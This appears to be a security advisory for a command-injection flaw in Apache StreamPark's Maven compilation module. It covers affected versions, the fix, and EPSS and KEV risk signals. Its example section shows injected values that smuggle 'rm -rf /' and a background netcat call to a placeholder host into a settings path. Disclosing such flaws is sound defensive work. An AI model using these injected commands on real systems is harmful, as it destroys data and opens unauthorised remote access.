Should you act?
Normal patch cycle
No exploitation signal; fix it in your next routine update if you are affected. This signal is computed from CISA KEV, EPSS and CVSS data; it is not an editorial verdict.
- No confirmed exploitation. It is not in CISA’s KEV catalog. That can change quickly after a public write-up; re-check if you are affected.
- EPSS 2.3%, percentile 83: FIRST’s model estimates a 2.3% chance of exploitation activity in the next 30 days, higher than 83% of all scored CVEs (elevated). EPSS is a probability, not a verdict.
- Only applies if your dependency tree includes
org.apache.streampark:streampark(Maven) >= 2.0.0, < 2.1.2, fixed in 2.1.2. Check your lockfile, including transitive dependencies.
What it is
In streampark, there is a project module that integrates Maven's compilation capability. However, there is no check on the compilation parameters of Maven. allowing attackers to insert commands for remote command execution, The prerequisite for a successful attack is that the user needs to log in to the streampark system and have system-level permissions. Generally, only users of that system have the authorization to log in, and users would not manually input a dangerous operation command. Therefore, the risk level of this vulnerability is very low. Mitigation: all users should upgrade to 2.1.2 Example: You can customize the splicing method according to the compilation situation of the project, mvn compilation results use &&, compilation failure use "||" or "&&": /usr/share/java/maven-3/conf/settings.xml || rm -rf / /usr/share/java/maven-3/conf/settings.xml && nohup nc x.x.x.x 8899 &
